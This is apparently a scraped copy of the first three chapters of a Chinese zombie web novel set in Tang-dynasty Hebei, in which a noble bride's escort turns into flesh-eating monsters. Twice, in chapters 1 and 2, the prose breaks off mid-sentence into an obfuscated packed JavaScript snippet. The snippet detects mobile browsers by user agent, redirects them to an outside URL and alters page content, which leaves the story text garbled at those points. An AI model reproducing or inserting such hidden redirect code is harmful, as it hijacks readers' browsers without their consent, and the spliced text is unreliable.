《出青天(丧尸)》 1. 第 1 章 雷电晦冥,大雨如注。 河北道魏州下辖顿丘县城外,距离官道约五六里处的一个槐树林子里,几十名身穿甲胄的卫兵正四处搜寻着什么。 从满地杂乱的脚印和四处散落的箱笼彩幡能依稀看出来这曾经是一支声势浩大的送亲仪仗队。 仪仗队前后是几百名披甲执锐的牙军,数百名仆从簇拥着中间一辆由四匹宝马拉着的紫色华盖厌翟车,那便是新妇所乘的婚车了。 此刻婚车内空空如也,里面的那位节度使之女早已不见踪影。这支由数千人组成的庞大队伍连同拉着婚车的那四匹宝马全都消失不见。 周围死寂一片,所有活物都像是凭空消失了一般,只剩下眼前这些堆山积海般华贵的死物。那扑面而来的珠光宝气将眼前这黑樾樾的林子都映得亮堂了许多。 卫兵们一边搜寻一边暗暗咋舌。 从幽州出发那日起,关于此女嫁妆之丰厚、仪仗之隆重,早就已经在大唐全境内传开。 如今亲眼所见,才知传言果然不虚。 一名卫兵挑开一面皱巴巴的旌旗,眼尖地瞥见了污泥中的一星金光闪烁。他用手中长枪轻轻一挑,那抹金光破开眼前的雨帘直直飞进他的手里。 是一支金钗。那金钗以黄金为底座,上面镶嵌着华丽的珍珠和宝石,钗首是一只口衔步摇的金凤。那只栩栩如生的凤凰在闪烁的灯火下流光溢彩,似乎下一刻就要从他手中展翅而飞。 卫兵心神一荡,用指尖抹去金钗上的污泥,鬼使神差地低头去闻,隔着泥水的腥热气息,仿佛尚能闻见一股淡淡幽香。 他啧了一下,语气颇为惋惜:“那位小娘子应是凶多吉少了。” 旁边另一名卫兵听闻,抬头看了一眼深沉如墨的夜空,叹道:“这世道,怕是要变天了。” “再变天也变不到你我的头上,走吧,再去别处找找。” 两人转身欲走。 轰隆一声雷响。身后那片漆黑的林子里突然传来一阵窸窸窣窣的声音。 两人身形一顿,立刻紧握手中长枪,做出防备姿态,朝那边大喝一声:“何人在那儿?!” 两人的声音引起了其他卫兵的注意,众人迅速缩小成半圈,朝这边围拢过来。 几十盏风雨灯在暴雨中摇摇晃晃,宛若乱葬岗里漂浮的幽幽鬼火。黑漆漆的雨夜里,烛火在一双双焦急又惶惑的眼睛里跳跃着。 一股淡淡的铁锈味在周围弥散开来。 那声音停了片刻,又响了起来,仿佛人走动时衣物摩擦发出的声音,窸窸窣窣,窸窸窣窣,声音越来越快,越来越近,像是有人踩着迅疾的脚步朝这边奔过来。 空气中的那股铁锈味越来越浓重。 众人面面相觑,不敢擅动,僵了片刻,有胆大的卫兵向前走了几步,用长枪拨开眼前那挡住他们视线的一片高大灌木丛,提灯去看—— 只见不远处的树枝上挂着一个瘦条条的人影,也不知是死是活,在幽暗处飘飘荡荡、摇摇摆摆,活像一只没有骨头的恶鬼,看起来格外可怖。 众人大骇,往后退了几步。 这时有眼尖的卫兵喊了一声:“不是人,是件衣裳罢了!” 众人再凝神细看,见枝头挂着的果然只是一件迎风摆动的衣裳。 那衣裳华美异常,上面用金银丝线绣着精致的图案,衣袍宽大,被风吹得猎猎作响。 看起来应该是新嫁娘所穿的翟衣。 很快就有卫兵取下那件翟衣,恭敬地递到卢望川手里。 卢望川低头看着手中那件深青色的翟衣,脸色愈发难看,厚重的札甲下冒出层层冷汗,浸透了本就湿了的衣裳。 身边有卫兵道:“明府,卑职等在这林子附近搜寻了几圈,并未发现王妃殿下的踪迹。” 雨下得愈发急切起来,卢望川狼狈地抹了一把落进眼睛里的雨水,一颗心像是被烙在了烧红的铁锅上。 真真是祸不单行。 昨日他听说隔壁昌乐县发生了暴乱,这年头不太平,这种事本不算罕见,只是依稀听说这次的暴乱似乎和瘟疫有关。 卢望川连忙使人给昌乐县县令去了一封信,想打听一番内情,自己这边好做些准备,还没等收到回信,今日午间时分他却突然收到了一封来自卫州治所的来信。 他是万万没想到那位响当当的大人物竟然会给自己来信,颤抖着手打开信件,却见上面只写着几个龙飞凤舞的大字—— “护新妇如护尔首级!” 这“新妇”便是指那位本应端坐在婚车内的女子——幽州节度使之女,前不久圣人亲自册封的睿王妃。 那位新嫁娘一路从幽州出发,经过河北平原诸州,过相州、穿洺州,再到魏州,算算日子,确实应该快要到顿丘县了。 身为顿丘县县令,卢望川早在十几日前就已经打点好馆驿,恭候贵人下榻,从馆驿内的陈设布置,再到使唤的仆妇小厮,力求万事俱全,面面周到。 如今这位金尊玉贵的新嫁娘若是在自己的辖区内出了事,怕是他有十个脑袋都不够砍的。 收到信,卢望川吓得屁滚尿流,他也顾不上暴乱和瘟疫,立刻召集了几十名武艺高强的卫兵,亲自出城门去接那位小娘子。 可沿着官道一路朝东行,一直没见到那支送亲队伍,到了后半夜,才在距离官道几里外的一处小树林找到了满地散落的妆奁。 如今找不到人,他心乱如麻,只好先吩咐卫兵们将地上的箱笼收拾起来。 众卫兵听到吩咐,连忙把地上的那些箱笼合拢,将金银细软全都塞进去。 一个胆子大的卫兵趁着旁人不注意,飞快地将手里的那支金钗收进怀中,又见不远处的乱石堆里有一粒鸡卵大的明珠,明晃晃的闪人眼珠子。 那么大的一颗珠子,竟然比旁边的碎石块还要大上几分。 他瞥了一眼四周,见无人注意这边,他蹲下去矮行几步,到了近前,快速捻起那颗明珠,小心翼翼地拂去上面的泥水。 “这么大的珠子,就是在长安城中置上一幢五进的宅院也尽够了。”他心中暗喜,心脏跳得飞快,咚咚咚,咚咚咚,像是有一把小锤子在敲鼓。 他把珠子塞进怀中,摸到自己的心脏。 虽然跳得快了些,但好像并不足以发出那么大的声音。 他愣了一下,鼻尖忽嗅到一股带着腥臭味道的呼吸。 呼哧呼哧,像是野兽在喘息。 他背上汗毛竖起,茫然地抬起头—— 面前不知道何时竟多出一个身穿甲胄的军士,站在离他不到一臂的地方,神情呆滞,像是在看他,又不像是在看他。 风从上风口吹来,一股浓烈的臭味扑到卫兵的脸上,他惊疑不定,声音有些颤抖:“你……你……” 那军士似有所觉,猛然抬起头,布满白翳的浑浊眼珠在看到卫兵的一瞬间突然变得猩红,他咧着嘴,露出一口沾满鲜血的獠牙,布满脏污的脸不知道被什么东西啃去了一大块血肉,露出暗红的筋肉和底下白森森的骨头,他喉咙里发出一声“嗬嗬”的声音,像是野兽发现猎物时发出的兴奋咆哮。 卫兵被吓得面色惨白,双腿发软,不能动弹。 这……究竟是人是鬼?!! 直到那非人非鬼的怪物以一种迅猛又诡异的姿势朝他扑过来,他才惨叫一声,如同一柄利刃割开寂静的雨夜。 “啊!!!!” 卢望川被那声绝望又凄厉的尖叫声吓了一跳,回头去看,就见几名卫兵围在一个乱石堆前面,尖叫声和呼救声如同一把把锋利的刀刃,听得人心脏都在发颤。 “发生了何事?”卢望川上前几步,定睛一看,被眼前的一幕吓得魂飞魄散。 就见一个浑身浴满血污、似鬼似兽的东西正抓着一个卫兵的脖子大嚼特嚼,它张开大口露出血淋淋的獠牙狠狠地扯下一大块肉,大股大股的鲜血从卫兵的脖子和那东西的嘴里冒出来。 那卫兵一瞬间进气多出气少,四肢瘫软,失去了反抗的能力,如同一个木偶娃娃任那怪物啃噬,只是嘴里凄切地发出一两声哀嚎。 旁边的卫兵见状壮着胆子要去拦,却被那怪物一把攥住,生生扯下一截血淋淋的胳膊,塞进血盆大口里嚼得咯吱作响。 被啃噬的时候那条断臂上的手指甚至还有意识地抽动了几下。 眼前的一切如同最可怖的炼狱。 众卫兵大骇,一时间乱了阵脚,谁也不敢上前,纷纷后退溃逃。 卢望川吓得肝胆欲裂,什么都顾不上,发足朝自己的坐骑方向狂奔而去。可那畜生乖觉,或许是嗅到了危险气息,早就挣脱缰绳逃命去了。 队伍陷入一片混乱,生死关头,根本没人在乎他这位县太爷的死活。 卢望川急得不知如何是好,却不知从哪里扑出来一个穿着甲胄的军士。他心里一喜,上前攥住那军士的袖子,叫道:“快给我牵匹马来!” 话音未落,却见那军士抬起来头,猩红的眼睛射出嗜血的兴奋光芒,对他露出一口腥臭至极的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068816|195189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 獠牙。竟然是另一个啖人血肉的怪物! 卢望川惨叫一声,脚底打滑,一屁股坐在一滩烂泥里,溅起一滩泥水。 那怪物扭曲着身体,以一种诡异的姿势朝他扑过来。 “救命!!!”卢望川手脚并用拼命去推那怪物,怪物口中的涎液滴到他的脸上,让他几欲作呕。 雨还在不管不顾地下,但空气中的血腥味却没有丝毫减淡。 卢望川正要绝望地闭上眼睛。 一支破云箭劈开雨帘,直直钉进那怪物的脑袋,从脑后贯穿至前额。 “噗嗤”一声,血溅到卢望川的脸上,一股浓烈的腥臭味铺天盖地袭来。 卢望川顾不得为劫后余生而狂喜,一把推开身上的那具怪物尸体,忙忙地站起来,扶住旁边的一棵歪脖子老槐树,将今晚刚吃的那碗羊肉汤饼全呕了出来。 一阵马蹄声似惊雷般奔过来,领头的一匹高大黑马毛色光亮,鬃毛似一团黑焰,奔跑时若追风逐电,眨眼间便到了眼前。 马背上的青年面容冰冷,手上擎着一张金涂弓。 卢望川一愣,等看清那青年的长相,连忙手脚并用地扑到马下,纳头便拜:“下官参见殿下!” 青年扫了他一眼,问:“人呢?” 卢望川当然知道他问的是谁,苍白着脸颤抖着声音说:“回殿下,新妇……不见了,只剩下东西……” 不知道又从何处冒出来更多的怪物,嘶吼着朝这边扑过来。 “一群没用的废物!”那青年恨恨地骂了一句,抽出一杆长枪,一枪搠进一个怪物的胸口,溅起一蓬腥臭的血。 风雨灯被打翻在地,又被雨水浇灭,四周陷入一片昏暗,卢望川听到了杂乱的厮杀声、呼救声和哀嚎声,他恍惚间只觉得自己仿佛置身于无间地狱中。 “殿下!救救下官,救救下官!”大难临头,卢望川也顾不得许多,他拎着袍角跟在那匹神驹后面,期期艾艾地喊。 那青年双腿夹紧马肚,回身一把拎起卢望川的领子,拎鸡崽似的将他一把甩在身后的马背上。 这支骑兵队伍十分神勇,刀光剑影间,冲到近前的怪物悉数被斩杀于马下,但那些怪物却像是怎么杀都杀不完似的,众人渐觉吃力,加之林中逼仄、光线昏暗,实在不好施展。 “殿下,那些怪物好像是送亲队伍的牙军!”有人惊呼道。 听到这话,青年心中惊疑不定。或许是喋血太多,腥臭的液体顺着长枪一直滑到他的掌心,他万分嫌恶地皱起眉,知道此时不便恋战,一声令下,众人便掉转马头朝官道方向疾奔而去。 沿途的田野山林处依稀可见几个抓着活人生啃的怪物,听到马蹄声,它们猛地抬起布满血污的头颅疯了似的要追上来啃咬。 众人且战且退,一路奔到顿丘县外。 天光已经大亮,晨钟应该早已敲过,但城门却紧闭,连盘问过所的门卒也都消失不见。 城门下聚集着一群神情惶恐的布衣百姓,大部分人携儿带女,还有负伤的伤员瘫坐在地,一脸绝望。 看来应该都是逃难过来的。 “开门!”一名骑兵纵马出列,抬头朝城门上方喊了一声。 却不见有人回应。 刚才他们不过杀退了一部分怪物,若是时间再拖长些,等那些怪物追上来,怕是城门下的这些人都得葬身于怪物的腹中。 青年皱着眉转头看了一眼坐在马后的卢望川。 卢望川在马背上被颠得眼冒金星、面色惨白,此刻根本说不出来一个字,他只能无力地摇摇头,表示自己也完全不知情,他记得自己临行前并没有下达封城的命令。 青年又转头看向那名士兵,道:“继续喊。” 士兵又叫:“开门!” 叫了三声,上面颤颤巍巍探出半个脑袋来,却是顿丘县的县尉曹德全,他皱着眉苦着脸,神情似乎颇为难。 卢望川歇了口气,扶着马背艰难地坐直身体,看到熟脸,他立刻叫嚷道:“大胆,还不开门!你可知这是当今……” 话还没说完,就听见城门上传来一个清脆的女声。 “不许开门!” 众人闻声一愣。 就见城门楼上又冒出来一个花容月貌、肌骨丰盈的小娘子,她神情冷漠骄傲,高高在上地朝城门楼下投来冷淡一瞥。 “没我的命令,今日谁都不许放人进城!!!” 闻言,城门下的青年双眼微眯,盯住城门上的那张脸,眼神中戾气横生。 2. 第 2 章 手下斥候来报,说是前方昌乐县发生了暴乱,负责此次送亲任务的送亲使杜文宪和行军总管冯简对视一眼,皱紧眉头。 两人低头商讨片刻,行军总管冯简掉转马头,朝身后那支逶迤前行的队伍而去。 穿过擐甲执兵的牙军精锐和手捧礼器的侍女仆从,再穿过高举旌旗和伞盖的乐师仪仗队伍,他控马停在了一辆由四匹宝马拉着的紫色华盖厌翟车旁。 四匹纯白无杂色的大宛马身披百宝嵌工艺的马鞍,白玉障泥垂在两侧,马鞍上的珍珠、玛瑙、绿松石和玳瑁在灼热的日光下闪闪发亮。 冯简身下的那匹蒙古马不安地打了一个响鼻,他抬手轻轻安抚身下坐骑,声音恭敬地将斥候刺探到的情况一一回禀,又道:“叶将军前去昌乐县查探情况尚未归来,刚才下官和副史大人商讨一番,想着不如加快行军速度绕道而行,直接去往顿丘县暂住一夜,顺便等叶将军汇合,不知王妃殿下意下如何?” 坠着金线流苏的鲛绡窗帟轻轻摇晃着,车辕上的鸾铃发出一阵碎玉击璆之声。 冯简屏住呼吸,下一刻,车内传来一声比那鸾铃声更动听的女声。 “允。” 时值初夏,因着连日来的干旱,头顶的烈日有些灼人。 往西行了三十多里,队伍在路旁的一处小树林前停下来休整,牙兵们牵着马匹去附近的河边饮水,拉着辎重的民夫们拿出随身携带的干粮大口大口地啃着。 两个身着青色衣裳的婢女踩着乘石从婚车里下来。 听到动静,坐在树荫下乘凉的几个牙军忍不住朝那边看了过去,被自己的上官用凌厉的眼风扫过,又赶紧低下头去,不敢再抬头。 上千人的队伍,竟无人发出半点声音。 但见那两位青衣婢女又从婚车上扶出来一位身着钿钗礼衣的少女。她手执纨扇挡住面容,一头如云般的乌发挽成云髻,发间九树宝钿花钗上的金箔随着她走动的步伐微微颤动,仪态万千,光华不可直视。 杜文宪转头看到那一幕,不由地皱了皱眉:“王妃殿下怎么下车了?” 冯简在一旁低头整理着鞍辔,头也不抬,道:“回副史大人,想是车内闷热,王妃殿下出来喘口气吧。” 杜文宪的目光在不远处的那个背影上停了数息,一副欲言又止的模样,但到底还是什么都没说,他抖了抖手里的那张行军路线图,收回了视线。 两个青衣婢女扶着少女去溪水边的一棵大榕树前坐下,粗壮的树干将三人的身影挡得严严实实。 一个婢女手脚麻利地在地上铺了一层锦褥,另一个用手中的帕子在旁边的溪水里湿了湿,拧了帕子,细细地替少女擦着额头上的汗珠。 感受到额头上传来的丝丝凉意,秦扶鸾放松眉眼,惬意地轻轻喘息。 这身衣服简直要压得她喘不过来气,车内冰鉴里的冰早就全都化成了水,刚才一路上险些没有给她憋死。 秦扶鸾抬手挥退了要上前来围布障的几个侍女。 树下有凉风习习,倒真的比车内舒服多了。 青禾整理好锦褥,又奉上了一杯梅子饮,道:“娘子,喝些饮子消消暑吧。” 秦扶鸾接过那只白玉盏,一口气喝了两杯,又将剩下的梅子饮分给两婢。 主仆三人一边乘凉一边眺望着不远处的田野。 青苗性子活泼,她小口地啜饮着酸酸甜甜的饮子,道:“冯将军刚才说隔壁的昌乐县发生了暴乱,也不知具体是什么情况,听着怪瘆人的,咱们应该不会碰上暴徒来劫道吧?” 青禾长她两岁,性子要沉稳些,闻言瞪她一眼,道:“我看你是话本子听多了,惯会胡沁,哪个不长眼的敢劫我们的道?” 青苗吐吐舌头,转头看了一眼不远处歇脚的那支牙军队伍:“姐姐说得是,咱们有叶将军和冯将军护着,定不会出什么岔子的。”她顿了一下,又道:“从前在咱们幽州从未听过有什么暴乱的,这才刚出了三镇就遇到这事。那昌乐县县令定是个不中用的,竟能纵得手下兵丁起了暴乱,若是在咱们节帅治下,必不可能会发生这等事。” 青禾闻言,眼皮跳了一下,抬眼去看面前坐着的小娘子,但见那位正悠悠地摇着手中的纨扇望着面前那一片宽阔的田野,眉眼间并无任何愠色。 青禾心下稍宽,伸出一根指头轻轻点了点青苗的额心,语气里带上了几分严肃,道:“此去长安,不知道有多少双眼睛都落在咱们身上,你万莫再像在府中那样乱嚼舌头,须知祸从口出。”说完,见青苗脸上露出几分紧张的模样,又有些心软,声音放轻补了一句:“等叶将军从昌乐县回来就知道到底发生了何事,勿要再多嘴。” 青苗刚才话一出口也察觉出有些失言,这时见小娘子没有出言责怪,也是松了一口气,她心虚地垂下脑袋,捧着手里的饮子,不再多言。 风从面前那片广阔的田野吹过来,麦田刚收割过,只剩下光秃秃的麦茬,而另一边的高粱地里则是栗苗青青,煞是可喜。 秦扶鸾倒确实因为这两个婢女的话牵动了一丝愁思。 从幽州出发已近两月,不知何时才能到长安,也不知此刻身在幽州的阿耶可会挂念她这个千里迢迢外嫁的女儿,更不知自己将要嫁的那个睿王长得是圆是扁。 睿王是圣人的第三子,在朝野的人望极高,即使远在河朔三镇,秦扶鸾也时常听人议论那位睿王殿下是个德才兼备的谦谦君子,但从未有传言提及他的容貌如何。若他是个大腹便便的丑八怪,自己难道真要和那样的人共度一生? 想到自己那个赶在圣旨下达幽州前就挑了个俊美郎君着急忙慌成婚的亲姐姐,秦扶鸾恨恨地咬了咬牙。 圣旨既已经颁下,阿耶就她和姐姐两个女儿,姐姐已经嫁人,自己难道还能抗旨不嫁不成? 况且眼下婚礼虽尚未举办,但圣人为了昭示对这桩婚事的重视,已将她的名字录入宗正寺谱牒且昭告天下,不管秦扶鸾愿不愿意,她现下已是铁板钉钉的睿王妃了。 秦扶鸾只能开解自己想多了也无用,还不如借此机会多看看沿途的风景人情,一旦真的到了长安嫁入皇家,以后怕是再难有这样的日子了。 秦扶鸾长长地叹了一口气,将杯中的饮子豪饮而下,仿佛此刻白玉盏里盛着的不是酸甜可口的梅子饮,而是能解人愁绪的杜康酒。 青禾见秦扶鸾这几日总是唉声叹气,知道她心情郁结,便哄道:“小娘子,待会儿去了顿丘县,奴婢向驿长借了灶间给娘子做团酥可好?” 秦扶鸾无可无不可地点点头,她的眼神落在那片高粱地里,却在那一片郁郁青青的栗苗里看到了一个不停蠕动的黑色脑袋,像是一头幼兽,又像是个孩童。 “那是什么?” 两个婢子闻言朝她所指的方向看去。 一阵风吹过,将栗苗吹得微微晃动。 她们看到一个身影趴在田埂上,分明是个瘦弱的孩童,也不知是附近农庄里偷跑出来的顽童,还是无处可去的流浪乞儿。 “好像是个小孩。”青苗的目光怜悯,说:“看起来脏兮兮的,衣裳也破了。” 秦扶鸾也面露不忍,说:“叫人去送点吃食。” 青苗立刻站了起来,从随身带着的帛袋里翻出一些肉干和果脯,走到不远处,招手让树荫下歇着的一个牙兵把吃食给那小孩送过去。 众人修整了半个时辰,重新理好行装,准备继续上路西行去往顿丘县。 秦扶鸾在两名婢女的搀扶下回到婚车旁,临上车前,她抬头看了一眼头顶的天空。 刚才还是烈日当空,一阵风刮过,天色忽地阴沉下来,看起来竟是要下雨。 队伍急着在落雨之前赶到顿丘县,速度愈发快起来。 即使车内铺着厚厚的毡毯和软席,还是不可避免地有些颠簸。困在这又闷又热的空间里,秦扶鸾只能无精打采地靠在倚枕上。青禾帮她打着扇子,青苗帮她按着酸疼的后腰。 带着馨香的淡淡暖风一下一下地轻轻拂过面庞,秦扶鸾的眼皮也越来越沉,渐渐陷入睡梦中。 行了这么长的路,牙军队伍里人人都面露疲色,但一想到今晚就能在顿丘县城内好好饱食休息一晚,又都振作起精神继续前进。 此时,缀在队伍末尾的一名牙兵注意到身边的同伴有些不对劲,小声问道:“你怎么了?脸色这么差?” 那名牙兵面色苍白,看起来有些虚弱,但开口说话时的语气却比平常更加亢进,他咬牙切齿地咒骂:“真是晦气!好心给那小畜生送吃食,那小畜生倒反过来咬我一口!” 他抬起手给同伴看,只见手腕侧边赫然一个血淋淋的牙印,咬得极深极重,几乎要把那块肉连皮带肉地直接撕扯下来,鲜红的血珠从齿痕间冒出来,看起来触目惊心。 牙兵骇了一跳,说:“那小崽子疯了吧?怎么咬得这么重!” 被咬的牙兵语气愤愤:“不知道,看起来疯疯癫癫的,怕是得了疯狗病,我把东西丢下就赶紧走了。” 两人骂了两句,继续跟着队伍向西出发。 婚车摇摇晃晃,秦扶鸾睡得迷迷糊糊。 不知过了多久,她睁开眼睛,却见车内空空荡荡,那两个婢女不见踪影,案上的香毬静静地散发着的浅淡香味,遮挡住了空气中那丝令人不安的气息。 她有些疑惑地开口唤道:“青禾?青苗?” 没有人应她,连车外那惹人心烦的马蹄声和铠甲摩擦时发出的声音也不见了。 秦扶鸾坐了起来,理了理鬓发,正要掀开窗帟去看。 突然听到一阵脚步声朝这边靠近,那脚步声又闷又沉,让人莫名有些心慌。 秦扶鸾的身体本能地往后靠了靠。 脚步声越来越急,越来越近。 紧接着,一只血淋淋的大手掀开了面前那块龙凤云锦贴金箔蔽膝。 刺眼的光线猝不及防地射进了车内。 秦扶鸾的心提到了嗓子眼。 还没等她看清那张脸,耳畔突然传来青禾有些焦急的声音。 “小娘子,醒醒。” “小娘子,快醒醒!” 秦扶鸾猛然从梦中惊醒,后背渗出一层冷汗,目光茫然地凝滞在虚空处,后又落在面前的那块被掀开的龙凤云锦贴金箔蔽膝上。 蔽膝后是冯简那张年轻坚毅的脸,他持刀站在婚车外,道:“王妃殿下,牙兵队伍发生异变,还请殿下速随下官离开此处!”他的语速很快,失去了以往的沉稳持重。 异变? 秦扶鸾刚从梦中惊醒,脑中尚且一团云雾,她的目光下移,看到冯简手上那把三尺长的横刀正往下滴着鲜红的血。 见她没有反应。 冯简的脸色越来越焦急,催促道:“殿下!” 秦扶鸾脑中一道白光骤然闪过,她猛地回过神,动作飞快地回身从坐塌下翻出一把精美的短刀,把短刀紧紧地攥在手里,跟在冯简身后,探身走出车内。 站在车辕上环顾四周,她被眼前的一切吓得倒吸一口凉气,只听到身后青苗发出一声短促的尖叫。 就见原本井然有序的牙兵队伍早已经乱作一团,他们丢甲弃锐化作面目狰狞的野兽,张开獠牙互相撕咬啃噬,哀嚎声惨叫声不绝于耳,被鲜血浸透的土地上全是新鲜的断肢残骸,空气中弥漫着浓重的血腥味,让人几欲作呕。 “发生了何事?怎么会这样?”秦扶鸾的声音有些颤抖,几乎以为自己还身处梦中。 冯简扯住缰绳,动作敏捷地避开一个要扑上来的牙兵,听到秦扶鸾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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杜文宪被困在土坡下,看着那些发了疯的牙兵抓着活人生嚼,他吓软了双腿,却还死死抱着手里的那个瑞兽纹盝顶匣不放。 “杜副使!” 秦扶鸾骑马奔到近前,围在土坡前的几个牙兵立刻调转目标,朝她扑了过来。 秦扶鸾双腿夹紧马肚左右闪躲,看着马下那几个狰狞的面孔,她心中暗恨,早知有今日,她就应该买把长点的防身兵器,手中的这柄短刀虽嵌了珠宝十分精致,但到了这生死相关的时候,实在是够看不够用。 她左支右绌,十分吃力,一个不妨,一名牙兵扑上来抓住她的小腿,秦扶鸾大骇,使出浑身力气用力去踹,那牙兵咬空,一口獠牙落在了她身下的那匹白马上,直接扯下一大块血淋淋的肉下来。 白马吃痛,仰头凄厉地长嘶一声。 这四匹纯白的大宛马是她费尽功夫四处搜罗而来,每匹都价值千金。 秦扶鸾心痛无比,骂了一声,她双腿紧勾住马鞍,半个身子斜挂在马背上,俯身以迅雷之势将手中短刀深深刺进那名牙兵的胸膛。 另一边,冯简纵马冲到土坡前,横劈一刀,砍菜似的将几个牙兵的头颅砍断,一把拽起已经瘫软在地的杜文宪,将他拉上马背,后又掉转马头奔到秦扶鸾身前,将围在她身边的几个牙兵悉数斩杀。 “副使大人可安好?”秦扶鸾关切发问。 杜文宪脸色苍白,但还是强打起精神哆哆嗦嗦道:“蒙……殿下垂询,下官尚……尚且安好,只是圣人赐予殿下的那些……” 不等他说完,秦扶鸾面色焦急地转头去看身后。 所幸两个婢子已经骑马朝这边追了上来。 秦扶鸾心下稍安,她将身上那件碍事的翟衣快速脱下,扬手一扔,当机立断道:“那些都是死物,无甚要紧,为今之计,保命为上!逃!” 几人拼命朝林外奔去,途中又救下几个逃命的仆役和乐工。 一直奔出几里地,秦扶鸾才敢回头去看。 天色近暮,身后那片林中像是起了一层血雾,朦朦胧胧看不真切,恍如一场可怕的梦魇。 浩浩荡荡的千人队伍,现在竟然只剩下了伶仃的十几人。 秦扶鸾心痛难言,一时之间有些恍惚。 众人一路奔到顿丘城外,天色尚未黑透,城门前盘问过所的门卒看到他们浑身浴血狼狈不堪的模样吓了一跳,直到杜文宪拿出怀中那卷白玉轴五色绫圣旨,门卒又吓了一大跳,这才恭恭敬敬地将人请进城内的馆驿。 贵人来得突然,驿长显然有些惊慌。 冯简和杜文宪将秦扶鸾送到馆驿后就急急忙忙地去找县令借兵出城剿灭那些发疯的牙兵。 馆驿内,秦扶鸾浑身脱力、双腿发软,只能怔怔地望着那匹受伤的白马。 青禾青苗歇息片刻缓了过来,看到秦扶鸾鬓发散乱、浑身脏污的模样,两人柔声劝道:“娘子方才受惊了,奴婢伺候娘子回房洗漱吧。” 秦扶鸾摇摇头,像是察觉出了什么,她走近几步,紧紧盯着那匹白马,但见那畜生双眼猩红,四个马蹄焦躁地蹬着地面,死死地咬着口中的马嚼子。 秦扶鸾一愣,目光不受控制地落在白马身上那道触目惊心的咬痕上。 那咬痕极深,正往外渗着殷红的血液。 秦扶鸾脑中白光一闪而过,一股寒意从尾椎骨窜了上来,爬满整个脊背。 顿了一瞬,她抽出腰间短刀,手起刀落,割断马喉。 白马凄苦地哀鸣一声,四蹄抽搐一瞬,变得僵直,最后倒毙在地。 秦扶鸾收刀入鞘,转头望向恭候在侧的驿长,冷声道:“速速带路,我要去见此间县令。” 3. 第 3 章 秦扶鸾赶到县衙的时候,正碰上冯简和一个身穿青衫、头戴黑幞头的中年男人并肩从里面大步走出来。 见秦扶鸾没有梳洗就匆忙赶过来,冯简有些惊讶,连忙上前恭敬行礼,问道:“不知殿下此时过来有何吩咐?” 站在他身旁的中年男子见状连忙毕恭毕敬地朝秦扶鸾拱手躬身:“下官参见王妃殿下。” 秦扶鸾盯着那中年男子,语速飞快地问:“你可是这顿丘县的县令?” 中年男子微微低垂着脑袋,并不敢直视她,答:“回王妃殿下,下官是顿丘县的县尉曹德全,县令大人并不在城中,他……” 话未说完,就被秦扶鸾急急打断:“曹大人,现有一事关系到全城百姓性命,命你速速下令关闭城门,严禁任何人出入顿丘县城!” 曹德全愣了一下,转头看向冯简。 刚刚这位年轻的武将才拿着圣人亲笔所书的赐婚圣旨半是命令半是强迫地让他协助出城剿灭叛军,怎么这会子这位睿王妃又要他立刻关闭城门? 县尉平时主要负责组织人手巡查辖区、维持治安,若说是帮忙剿灭叛军,也算是职责所在,但关闭城门却是非同小可。 曹德全面露难色,诚惶诚恐道:“王妃殿下容禀,非是下官推脱,只是关闭城门干系重大,按照律令需有刺史府的正式公文,下官位卑职小,怕是担待不起,不知殿下所言‘关系到全城百姓性命’之事,究竟是何事?” 此时县衙内正在交代公人事项的杜文宪也走了出来,听到秦扶鸾的话,忙行礼问道:“殿下,发生了何事?” 秦扶鸾伸手将他虚虚扶起,她明白心急无用,若不交代清楚恐不能成事,只能耐着性子将发现白马出现异样的事情讲了一遍。 杜文宪听完面色沉重道:“殿下的意思……莫非这狂症乃是会传染的疫病?只要被咬就会变成那些怪物?” 闻言,一旁的冯简皱眉思索,露出恍然大悟的神情。 秦扶鸾点点头:“正是,为今之计只有关闭城门、加固工事、严防死守,一旦有被咬伤之人进入城内,怕是整个顿丘县城都会沦为阿鼻地狱。” 知晓事情厉害,杜文宪和冯简都白了脸。 但那县尉没有经历过林中惊魂,只觉得三人所言简直是天方夜谭,他活了这么大,从未见过生啖人肉之事,即使是在灾荒年间饿殍遍野、易子而食,那也是生火煮熟了才吃,怎么会直接扒在活人身上生啃呢? 不过说起疫病,他倒确实听说隔壁昌乐县似乎爆发了疫情,但往日的疫病患者大多只是呕吐腹泻、四肢无力,从未听过得了疫症反而还能生龙活虎啃食人肉的。 见曹德全仍旧犹豫不决,不肯轻易答应关闭城门,秦扶鸾冷下脸来,喝道:“曹大人,枉你还是掌管一方治安的县尉!岂不知军情如火、事急从权?!若是因为你的推三阻四导致全城百姓陷入水火,我定会亲自修书一封呈递节帅府,好好论论大人的‘尽职守责’!” 她话语中冷硬带着讽刺,自有一番凛凛威严。 顿丘县位于河北道魏州,此地虽不属河朔三镇管辖区,但仍然受其势力影响,比起圣人亲封的“睿王妃”,幽州节度使之女的身份甚至更有威慑力。 那县尉吓得双股战战,纠结一番,只能勉强点头应了。 冯简抓着他的后脖领半拖半拽地将他拎出县衙大门,直奔城门的方向而去。 秦扶鸾站在廊下看着两人的身影消失在街巷尽头。 狂风骤起,将她淡绯色的裙摆吹得恍若叠叠芙蕖初展,她抬头去看,只见天色昏沉,风雨欲来。 一旁的杜文宪见她衣裙散乱,垂首拱手道:“下官去安排马车送王妃殿下回馆驿。” 秦扶鸾伸手拦住他,沉声说道:“我还有别的事情要交代副史大人。” - 下了一夜的急雨。 曹德全这一晚过得苦不堪言。 县令出城未归,县丞也告假在家,现在整个顿丘县只有他一人主事。这一夜他又是加固工事,又是调集弓弩手和精壮男丁,还要准备滚木、礌石、火油,整整一夜,曹德全忙得脚不沾地,叫苦连天。 